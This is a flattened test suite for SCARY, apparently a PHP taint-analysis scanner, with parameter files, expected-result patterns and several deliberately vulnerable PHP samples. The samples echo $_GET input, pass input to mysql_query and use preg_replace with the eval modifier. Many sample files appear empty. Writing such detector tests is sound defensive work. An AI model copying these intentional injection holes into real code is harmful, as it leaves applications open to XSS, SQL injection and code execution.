-------------------------------------------------------------------------------- /tests/addslashes_false_positive2.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tests/addslashes_false_positive2.result: -------------------------------------------------------------------------------- 1 | \[NOTHING\] -------------------------------------------------------------------------------- /tests/addslashes_false_positive3.params: -------------------------------------------------------------------------------- 1 | -sensitivity=positive -INCLUDE=0 -REGISTER=0 -CALL=0 -DEBUG=0 -FUNCTION_DEFINITION=0 -EXPRESSION=0 -LIST_VARIABLES=0 -MERGE=0 -ERROR=0 -WARNING=0 -RESOLVE=0 -MATCH=0 -------------------------------------------------------------------------------- /tests/addslashes_false_positive3.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tests/addslashes_false_positive3.result: -------------------------------------------------------------------------------- 1 | \[XSS 2 | -------------------------------------------------------------------------------- /tests/addslashes_false_positive4.params: -------------------------------------------------------------------------------- 1 | -sensitivity=positive -INCLUDE=0 -REGISTER=0 -CALL=0 -DEBUG=0 -FUNCTION_DEFINITION=0 -EXPRESSION=0 -LIST_VARIABLES=0 -MERGE=0 -ERROR=0 -WARNING=0 -RESOLVE=0 -MATCH=0 -------------------------------------------------------------------------------- /tests/addslashes_false_positive4.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tests/addslashes_false_positive4.result: -------------------------------------------------------------------------------- 1 | \[XSS 2 | -------------------------------------------------------------------------------- /tests/addslashes_false_positive5.params: -------------------------------------------------------------------------------- 1 | -sensitivity=positive -INCLUDE=0 -REGISTER=0 -CALL=0 -DEBUG=0 -FUNCTION_DEFINITION=0 -EXPRESSION=0 -LIST_VARIABLES=0 -MERGE=0 -ERROR=0 -WARNING=0 -RESOLVE=0 -MATCH=0 -------------------------------------------------------------------------------- /tests/addslashes_false_positive5.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tests/addslashes_false_positive5.result: -------------------------------------------------------------------------------- 1 | \[NOTHING\] -------------------------------------------------------------------------------- /tests/backtick.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tests/backtick.result: -------------------------------------------------------------------------------- 1 | \[SHELL 2 | -------------------------------------------------------------------------------- /tests/case.params: -------------------------------------------------------------------------------- 1 | -sensitivity=negative -INCLUDE=0 -REGISTER=0 -CALL=0 -DEBUG=0 -FUNCTION_DEFINITION=0 -EXPRESSION=0 -LIST_VARIABLES=0 -MERGE=0 -ERROR=0 -WARNING=0 -RESOLVE=0 -MATCH=0 -------------------------------------------------------------------------------- /tests/case.php: -------------------------------------------------------------------------------- 1 | 12 | -------------------------------------------------------------------------------- /tests/case.result: -------------------------------------------------------------------------------- 1 | \[SHELL\] -------------------------------------------------------------------------------- /tests/conditional_sanitizing.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tests/constants_resolver1.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tests/constants_resolver2.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tests/define.inc: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tests/entry_point/.htaccess: -------------------------------------------------------------------------------- 1 | deny from all 2 | -------------------------------------------------------------------------------- /tests/entry_point/entry_point_not_vuln.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tests/entry_point/entry_point_vuln.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tests/entry_point/not_entry_point_not_vuln.php: -------------------------------------------------------------------------------- 1 | 12 | -------------------------------------------------------------------------------- /tests/entry_point/not_entry_point_vuln.php: -------------------------------------------------------------------------------- 1 | 14 | -------------------------------------------------------------------------------- /tests/function.potential.params: -------------------------------------------------------------------------------- 1 | -sensitivity=positive -INCLUDE=0 -REGISTER=0 -CALL=0 -DEBUG=0 -FUNCTION_DEFINITION=0 -EXPRESSION=0 -LIST_VARIABLES=0 -MERGE=0 -ERROR=0 -WARNING=0 -RESOLVE=0 -MATCH=0 -------------------------------------------------------------------------------- /tests/function.potential.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tests/function.potential.result: -------------------------------------------------------------------------------- 1 | \[XSS 2 | -------------------------------------------------------------------------------- /tests/function_use_before_declaration.php: -------------------------------------------------------------------------------- 1 | 9,mapped_to_varaddr=>f1::$a, mapped_to_vline=>2) 19 | # (mapped_from_vline=>9,mapped_to_varaddr=>f1::$a, mapped_to_vline=>4) 20 | # (mapped_from_vline=>11,mapped_to_varaddr=>f1::$a, mapped_to_vline=>2) 21 | # (mapped_from_vline=>11,mapped_to_varaddr=>f1::$a,mapped_to_vline=>4) 22 | # ) 23 | # 24 | # $secured{xss}{$_GET['a']}= 25 | # ( 26 | # 9,f1::$a,3 27 | # 9,f1::$a,5 28 | # 11 29 | # 12,f1::$a,3 30 | # 12,f1::$a,5 31 | # ) 32 | 33 | echo $a; 34 | function f1($b) 35 | { 36 | $b=htmlentities($b); 37 | return $b; 38 | } 39 | ## current result is [XSS], 40 | ## correct result is [NOTHING] 41 | /* 42 | proposed solution: 43 | - if unknown function is run, run secure_var_lala on special 'undefined' key 44 | - when function definition is met, iterate over that hash and perform merge of the variables, so the taint checker will work 45 | */ 46 | ?> -------------------------------------------------------------------------------- /tests/functions0.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tests/functions0.result: -------------------------------------------------------------------------------- 1 | \[NOTHING\] -------------------------------------------------------------------------------- /tests/functions1.params: -------------------------------------------------------------------------------- 1 | -sensitivity=positive -INCLUDE=0 -REGISTER=0 -CALL=0 -DEBUG=0 -FUNCTION_DEFINITION=0 -EXPRESSION=0 -LIST_VARIABLES=0 -MERGE=0 -ERROR=0 -WARNING=0 -RESOLVE=0 -MATCH=0 -------------------------------------------------------------------------------- /tests/functions1.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tests/functions1.result: -------------------------------------------------------------------------------- 1 | \[XSS 2 | -------------------------------------------------------------------------------- /tests/functions10.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tests/functions10.result: -------------------------------------------------------------------------------- 1 | \[NOTHING\] -------------------------------------------------------------------------------- /tests/functions12.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tests/functions12.result: -------------------------------------------------------------------------------- 1 | \[XSS 2 | -------------------------------------------------------------------------------- /tests/functions13.php: -------------------------------------------------------------------------------- 1 | 'echo($a);' ,line=>4,current_local_virtual_line_number=>2 5 | } 6 | function f3($c) 7 | { 8 | $c=htmlspecialchars($c); // $secured{xss}{f3::$c}=>'f3:2' (format: call's namespace, current_virtual_line_number) 9 | if($c!='') return $c; // added to returns (variable+vline) 10 | } 11 | function f2($b) 12 | { 13 | $b=trim($b); 14 | $b=f3($b); // secured{xss}{f2::$b} 15 | f1($b); 16 | } 17 | f2($_GET['page']); // NOTHING 18 | ?> -------------------------------------------------------------------------------- /tests/functions13.result: -------------------------------------------------------------------------------- 1 | \[NOTHING\] -------------------------------------------------------------------------------- /tests/functions14.php: -------------------------------------------------------------------------------- 1 | 'echo($a);' ,line=>4,current_local_virtual_line_number=>2 5 | } 6 | function f2($b) 7 | { 8 | $b=trim($b); 9 | $b=f3($b); // secured{xss}{f2::$b} 10 | f1($b); 11 | } 12 | function f3($c) 13 | { 14 | $c=htmlspecialchars($c); // $secured{xss}{f3::$c}=>'f3:2' (format: call's namespace, current_virtual_line_number) 15 | if($c!='') return $c; // added to returns (variable+vline) 16 | return $_GET['b']; // added to returns (variable+vline) 17 | } 18 | f2($_GET['page']); // XSS ($_GET['page'] is secured, however there's another return with tainted $_GET['b']!) 19 | ?> -------------------------------------------------------------------------------- /tests/functions14.result: -------------------------------------------------------------------------------- 1 | \[XSS 2 | -------------------------------------------------------------------------------- /tests/functions2.params: -------------------------------------------------------------------------------- 1 | -sensitivity=positive -INCLUDE=0 -REGISTER=0 -CALL=0 -DEBUG=0 -FUNCTION_DEFINITION=0 -EXPRESSION=0 -LIST_VARIABLES=0 -MERGE=0 -ERROR=0 -WARNING=0 -RESOLVE=0 -MATCH=0 -------------------------------------------------------------------------------- /tests/functions2.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tests/functions2.result: -------------------------------------------------------------------------------- 1 | \[NOTHING\] -------------------------------------------------------------------------------- /tests/functions3.params: -------------------------------------------------------------------------------- 1 | -sensitivity=positive -INCLUDE=0 -REGISTER=0 -CALL=0 -DEBUG=0 -FUNCTION_DEFINITION=0 -EXPRESSION=0 -LIST_VARIABLES=0 -MERGE=0 -ERROR=0 -WARNING=0 -RESOLVE=0 -MATCH=0 -------------------------------------------------------------------------------- /tests/functions3.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tests/functions3.result: -------------------------------------------------------------------------------- 1 | \[NOTHING\] -------------------------------------------------------------------------------- /tests/functions4.php: -------------------------------------------------------------------------------- 1 | 'echo($a);' ,line=>4,current_local_virtual_line_number=>2 6 | } 7 | function f2($b) 8 | { 9 | $b=trim($b); 10 | f1($b); 11 | } 12 | f2($_GET['page']); 13 | ?> -------------------------------------------------------------------------------- /tests/functions4.result: -------------------------------------------------------------------------------- 1 | \[XSS 2 | -------------------------------------------------------------------------------- /tests/functions5.php: -------------------------------------------------------------------------------- 1 | internal mapping has to be done this way (prefixed by the superior origin of history) 9 | $c=htmlspecialchars($_GET['c']); 10 | f1($c); ## no flaw (secured{$c|9|f1::$a} - external->internal mapping again, other case 11 | f1($_GET['b']); ## flaw (no secured $_GET['b']) 12 | ?> -------------------------------------------------------------------------------- /tests/functions5.result: -------------------------------------------------------------------------------- 1 | \[XSS 2 | -------------------------------------------------------------------------------- /tests/functions6.php: -------------------------------------------------------------------------------- 1 | 19 | -------------------------------------------------------------------------------- /tests/functions6.result: -------------------------------------------------------------------------------- 1 | \[SQL.*? 2 | \[XSS 3 | -------------------------------------------------------------------------------- /tests/functions7.params: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ewilded/SCARY/affd73e7b9f28042387f5c64be684630dec733ac/tests/functions7.params -------------------------------------------------------------------------------- /tests/functions7.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tests/functions7.result: -------------------------------------------------------------------------------- 1 | \[XSS 2 | -------------------------------------------------------------------------------- /tests/functions8.php: -------------------------------------------------------------------------------- 1 | 'echo($a);' ,line=>4,current_local_virtual_line_number=>2 5 | } 6 | function f2($b) 7 | { 8 | $b=trim($b); 9 | $b=f3($b); // secured{xss}{f2::$b} 10 | f1($b); 11 | } 12 | function f3($c) 13 | { 14 | $c=htmlspecialchars($c); // $secured{xss}{f3::$c}=>'f3:2' (format: call's namespace, current_virtual_line_number) 15 | if($c!='') return $c; // added to returns (variable+vline) 16 | #return $_GET['b']; // added to returns (variable+vline) 17 | } 18 | f2($_GET['page']); // NOTHING 19 | ?> -------------------------------------------------------------------------------- /tests/globals.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tests/globals.result: -------------------------------------------------------------------------------- 1 | \[XSS 2 | -------------------------------------------------------------------------------- /tests/html.php: -------------------------------------------------------------------------------- 1 | 4 |

some ugly HTML

5 | mysql_query($a); // look like function call 6 | -------------------------------------------------------------------------------- /tests/html.result: -------------------------------------------------------------------------------- 1 | \[XSS 2 | -------------------------------------------------------------------------------- /tests/inline.php: -------------------------------------------------------------------------------- 1 | 6 | -------------------------------------------------------------------------------- /tests/inline.result: -------------------------------------------------------------------------------- 1 | \[XSS 2 | -------------------------------------------------------------------------------- /tests/interpolation.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tests/interpolation.result: -------------------------------------------------------------------------------- 1 | \[XSS.*? 2 | \[SQL 3 | -------------------------------------------------------------------------------- /tests/lfi_no_nullbyte.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tests/lfi_no_nullbyte.result: -------------------------------------------------------------------------------- 1 | \[EXEC\] -------------------------------------------------------------------------------- /tests/lfi_with_nullbyte.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tests/list.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tests/list.result: -------------------------------------------------------------------------------- 1 | \[EVAL\] 2 | -------------------------------------------------------------------------------- /tests/list_epicware.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tests/list_epicware.result: -------------------------------------------------------------------------------- 1 | \[EVAL\] -------------------------------------------------------------------------------- /tests/list_epicware2.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tests/list_epicware2.result: -------------------------------------------------------------------------------- 1 | \[EVAL\] -------------------------------------------------------------------------------- /tests/logical_and.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tests/multifrag.params: -------------------------------------------------------------------------------- 1 | -sensitivity=positive -INCLUDE=0 -REGISTER=0 -CALL=0 -DEBUG=0 -FUNCTION_DEFINITION=0 -EXPRESSION=0 -LIST_VARIABLES=0 -MERGE=0 -ERROR=0 -WARNING=0 -RESOLVE=0 -MATCH=0 -------------------------------------------------------------------------------- /tests/multifrag.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tests/multifrag.result: -------------------------------------------------------------------------------- 1 | \[SQL.*? 2 | \[SQL.*? 3 | \[XSS.*? 4 | \[XSS.*? 5 | -------------------------------------------------------------------------------- /tests/multifrag2.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tests/multifrag2.result: -------------------------------------------------------------------------------- 1 | \[XSS.*? 2 | \[XSS 3 | -------------------------------------------------------------------------------- /tests/multiple_false_negative1.params: -------------------------------------------------------------------------------- 1 | -sensitivity=positive -INCLUDE=0 -REGISTER=0 -CALL=0 -DEBUG=0 -FUNCTION_DEFINITION=0 -EXPRESSION=0 -LIST_VARIABLES=0 -MERGE=0 -ERROR=0 -WARNING=0 -RESOLVE=0 -MATCH=0 -------------------------------------------------------------------------------- /tests/multiple_false_negative1.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tests/multiple_false_negative1.result: -------------------------------------------------------------------------------- 1 | \[SQL 2 | -------------------------------------------------------------------------------- /tests/nested_call.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tests/no_bracket.inc: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tests/no_sql_inject.params: -------------------------------------------------------------------------------- 1 | -sensitivity=positive -INCLUDE=0 -REGISTER=0 -CALL=0 -DEBUG=0 -FUNCTION_DEFINITION=0 -EXPRESSION=0 -LIST_VARIABLES=0 -MERGE=0 -ERROR=0 -WARNING=0 -RESOLVE=0 -MATCH=0 -------------------------------------------------------------------------------- /tests/no_sql_inject.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tests/no_sql_inject.result: -------------------------------------------------------------------------------- 1 | \[SQL 2 | -------------------------------------------------------------------------------- /tests/one_line.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tests/one_line.result: -------------------------------------------------------------------------------- 1 | \[EVAL\] -------------------------------------------------------------------------------- /tests/open_brackets.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tests/preg_replace_eval.php: -------------------------------------------------------------------------------- 1 | (.*?))e','"" . strtoupper("$2") . ""',$html); 5 | $html = $_POST['html']; 6 | $html = preg_replace('(.*)e','"" . strtoupper("$2") . ""',$html); 7 | ?> -------------------------------------------------------------------------------- /tests/reg_global.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tests/reg_global.result: -------------------------------------------------------------------------------- 1 | \[EXEC 2 | -------------------------------------------------------------------------------- /tests/sql_inject.params: -------------------------------------------------------------------------------- 1 | -sensitivity=positive -INCLUDE=0 -REGISTER=0 -CALL=0 -DEBUG=0 -FUNCTION_DEFINITION=0 -EXPRESSION=0 -LIST_VARIABLES=0 -MERGE=0 -ERROR=0 -WARNING=0 -RESOLVE=0 -MATCH=0 -------------------------------------------------------------------------------- /tests/sql_inject.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tests/sql_inject.result: -------------------------------------------------------------------------------- 1 | \[XSS.*? 2 | \[SQL 3 | -------------------------------------------------------------------------------- /tests/trace/trace.php: -------------------------------------------------------------------------------- 1 | 16 | -------------------------------------------------------------------------------- /tests/trace/trace2.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tests/untainting1.params: -------------------------------------------------------------------------------- 1 | -sensitivity=negative -INCLUDE=0 -REGISTER=0 -CALL=0 -DEBUG=0 -FUNCTION_DEFINITION=0 -EXPRESSION=0 -LIST_VARIABLES=0 -MERGE=0 -ERROR=0 -WARNING=0 -RESOLVE=0 -MATCH=0 -------------------------------------------------------------------------------- /tests/untainting1.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tests/untainting1.result: -------------------------------------------------------------------------------- 1 | \[NOTHING\] -------------------------------------------------------------------------------- /tests/untainting2.params: -------------------------------------------------------------------------------- 1 | -sensitivity=positive -INCLUDE=0 -REGISTER=0 -CALL=0 -DEBUG=0 -FUNCTION_DEFINITION=0 -EXPRESSION=0 -LIST_VARIABLES=0 -MERGE=0 -ERROR=0 -WARNING=0 -RESOLVE=0 -MATCH=0 -------------------------------------------------------------------------------- /tests/untainting2.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tests/untainting2.result: -------------------------------------------------------------------------------- 1 | \[XSS.*? 2 | \[SQL 3 | -------------------------------------------------------------------------------- /tests/upload1.params: -------------------------------------------------------------------------------- 1 | -sensitivity=negative -INCLUDE=0 -REGISTER=0 -CALL=0 -DEBUG=0 -FUNCTION_DEFINITION=0 -EXPRESSION=0 -LIST_VARIABLES=0 -MERGE=0 -ERROR=0 -WARNING=0 -RESOLVE=0 -MATCH=0 -------------------------------------------------------------------------------- /tests/upload1.php: -------------------------------------------------------------------------------- 1 |
2 | 3 | 4 |
5 | 12 | 13 | -------------------------------------------------------------------------------- /tests/upload1.result: -------------------------------------------------------------------------------- 1 | \[NOTHING 2 | -------------------------------------------------------------------------------- /tests/upload2.params: -------------------------------------------------------------------------------- 1 | -sensitivity=negative -INCLUDE=0 -REGISTER=0 -CALL=0 -DEBUG=0 -FUNCTION_DEFINITION=0 -EXPRESSION=0 -LIST_VARIABLES=0 -MERGE=0 -ERROR=0 -WARNING=0 -RESOLVE=0 -MATCH=0 -------------------------------------------------------------------------------- /tests/upload2.php: -------------------------------------------------------------------------------- 1 |
2 | 3 | 4 |
5 | 12 | -------------------------------------------------------------------------------- /tests/upload2.result: -------------------------------------------------------------------------------- 1 | \[UPLOAD 2 | -------------------------------------------------------------------------------- /tests/volatile.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tests/volatile.result: -------------------------------------------------------------------------------- 1 | \[XSS 2 | -------------------------------------------------------------------------------- /tests/volatile1.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tests/volatile1.result: -------------------------------------------------------------------------------- 1 | \[XSS 2 | -------------------------------------------------------------------------------- /tests/volatile2.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tests/volatile2.result: -------------------------------------------------------------------------------- 1 | \[NOTHING\] -------------------------------------------------------------------------------- /tests/volatile3.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tests/volatile3.result: -------------------------------------------------------------------------------- 1 | \[XSS 2 | -------------------------------------------------------------------------------- /tests/xss_and_sql_false_positive.params: -------------------------------------------------------------------------------- 1 | -sensitivity=negative -INCLUDE=0 -REGISTER=0 -CALL=0 -DEBUG=0 -FUNCTION_DEFINITION=0 -EXPRESSION=0 -LIST_VARIABLES=0 -MERGE=0 -ERROR=0 -WARNING=0 -RESOLVE=0 -MATCH=0 -------------------------------------------------------------------------------- /tests/xss_and_sql_false_positive.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tests/xss_and_sql_false_positive.result: -------------------------------------------------------------------------------- 1 | \[SQL.* 2 | \[XSS 3 | -------------------------------------------------------------------------------- /tests/xss_and_sql_false_positive2.params: -------------------------------------------------------------------------------- 1 | -sensitivity=negative -INCLUDE=0 -REGISTER=0 -CALL=0 -DEBUG=0 -FUNCTION_DEFINITION=0 -EXPRESSION=0 -LIST_VARIABLES=0 -MERGE=0 -ERROR=0 -WARNING=0 -RESOLVE=0 -MATCH=0 -------------------------------------------------------------------------------- /tests/xss_and_sql_false_positive2.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tests/xss_and_sql_false_positive2.result: -------------------------------------------------------------------------------- 1 | \[SQL 2 | -------------------------------------------------------------------------------- /tests/xss_and_sql_false_positive2.results: -------------------------------------------------------------------------------- 1 | \[SQL\] --------------------------------------------------------------------------------